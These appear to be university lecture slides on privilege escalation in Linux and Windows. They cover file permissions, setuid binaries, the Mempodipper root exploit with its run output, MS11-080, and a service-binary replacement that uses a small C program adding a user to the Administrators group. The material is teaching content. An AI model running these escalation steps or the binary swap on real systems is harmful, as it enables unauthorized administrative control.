About Privilege Escalation in Linux (And Windows) : July 2020
About Privilege Escalation in Linux (And Windows) : July 2020
net/publication/342866013
CITATIONS READS
0 748
1 author:
Mohamed Nassar
American University of Beirut
78 PUBLICATIONS 400 CITATIONS
SEE PROFILE
Some of the authors of this publication are also working on these related projects:
Final Year Project Spring 2019 (shoplifting smart stores) View project
All content following this page was uploaded by Mohamed Nassar on 11 July 2020.
Introduction
Definition
Privilege escalation is the process of increasing the level of access to a machine, or network.
In most operating systems, and networked environments, the process of privilege escalation is
inherently prevented, in order to adhere to the user privilege separation model.
2 / 22
Introduction Linux Windows Configuration Issues Conclusion References
I Subject: Process
I Object: Files, Directories, Network Sockets, Other processes, Memory, File descriptors
I Principal:
I User ID : 32-bit integer
I group ID: 32-bit integer
3 / 22
Introduction Linux Windows Configuration Issues Conclusion References
Actions
4 / 22
Introduction Linux Windows Configuration Issues Conclusion References
File permissions
Each file/directory has an owner (uid), gid and a set of bit permissions.
r w x
uid (owner) 1 1 0
gid 1 0 0
other 1 0 0
Table: Permissions for octal 644
You can change the permissions if you are the owner of the file! (chmod)
For Directories:
read means you can list the contents, write means you can link/unlink, execute means you can
lookup a file in the directory.
5 / 22
Introduction Linux Windows Configuration Issues Conclusion References
Example
open("/etc/passwd")
We need:
Execute on / (to lookup etc)
Execute on etc (to lookup the file)
Read on /etc/passwd
Puzzle
I want the file grades.csv to be only accessible for TAs who are also in my group. There is a
group for all TAs and another group for my assistants.
6 / 22
Introduction Linux Windows Configuration Issues Conclusion References
Bootstrapping
root can setuid(uid) for any process
setgid and setgroups can be used to set the groups of a process
setuid binaries
setuid binaries such as sudo and su have the suid bit set which gives the uid of the owner during
execution (here uid=0).
Escalation
What if the executed process with suid bit set has some bug / vulnerability?
7 / 22
Introduction Linux Windows Configuration Issues Conclusion References
Mempodipper
Let’s take a look at the exploit c file header:
/*
Exploit code is here: http://git.zx2c4.com/CVE-2012-0056/plain/mempodipper.c
Blog post about it is here: http://blog.zx2c4.com/749
EDB-Note: Updated version can be found here: https://www.exploit-db.com/exploits/35161/
# Exploit Title: Mempodipper - Linux Local Root for >=2.6.39, 32-bit and 64-bit
# Date: Jan 21, 2012
# Author: zx2c4
# Tested on: Gentoo, Ubuntu
# Platform: Linux
# Category: Local
# CVE-2012-0056
* Mempodipper
* by zx2c4
* Jan 21, 2012
* CVE-2012-0056
*/ 10 / 22
Introduction Linux Windows Configuration Issues Conclusion References
Mempodipper blog
11 / 22
Introduction Linux Windows Configuration Issues Conclusion References
Mempodipper Run
him@ubuntu:~$ ./mempodipper
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork. # id
[+] Opening parent mem /proc/8810/mem in child. uid=0(root) gid=0(root)
[+] Sending fd 3 to parent. # cat /etc/shadow |grep root
[+] Received fd at 5. root:!:15806:0:99999:7:::
[+] Assigning fd 5 to stderr. #
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x8049520.
[+] Calculating su padding.
[+] Seeking to offset 0x8049514.
[+] Executing su with shellcode.
12 / 22
Introduction Linux Windows Configuration Issues Conclusion References
A nice local privilege escalation exploit for the Windows environment is the MS11-08052
AfdJoinLeaf Privilege Escalation vulnerability.
http://technet.microsoft.com/en-us/security/bulletin/ms11-080
Poor Validation
This bug is a classic example of an elevation of privilege vulnerability, caused by poor validation
of input passed from user mode to the Windows kernel.
The Ancillary FunctionDriver (afd.sys), allows a local attacker to pass a malicious crafted input
leading to an arbitrary memory overwrite in kernel space.
Affected systems
Unpatched 32 and 64 bit versions of Windows XP and Windows 2003.
13 / 22
Introduction Linux Windows Configuration Issues Conclusion References
http://www.exploit-db.com/exploits/18176/
14 / 22
Introduction Linux Windows Configuration Issues Conclusion References
Some logistics ..
PyInstaller
Use the PyInstaller module https://www.pyinstaller.org/ to create a standalone
Windows executable from a Python script.
Use a Windows 7 machine and Install PyWin32 and PyInstaller
python pyinstaller.py --onefile ms11-080.py
15 / 22
Introduction Linux Windows Configuration Issues Conclusion References
Configuration Issues
This is especially true in corporate environments, where patches and updates are installed on a
regular basis, leaving a relatively small known vulnerability attack surface.
17 / 22
Introduction Linux Windows Configuration Issues Conclusion References
18 / 22
Introduction Linux Windows Configuration Issues Conclusion References
Example
19 / 22
Introduction Linux Windows Configuration Issues Conclusion References
Escalation Plan
I create a Windows executable:
root@kali:~# cat useradd.c
#include <stdlib.h> /* system, NULL, EXIT_FAILURE */
int main ()
{
int i = system ("net localgroup administrators HIM /add");
return 0;
}
I cross-compile for the target machine:
root@kali:~# i686-w64-mingw32-gcc -o scsiaccess.exe useradd.c
I replace the original scsiaccess.exe file with our own
I wait patiently for a service restart, or a system reboot.
The next time the service is started, the fake scsiaccess.exe file will be run with SYSTEM
privileges, thus successfully adding our low privileged user to the Administrators group.
20 / 22
Introduction Linux Windows Configuration Issues Conclusion References
Thank you!
21 / 22
Introduction Linux Windows Configuration Issues Conclusion References
References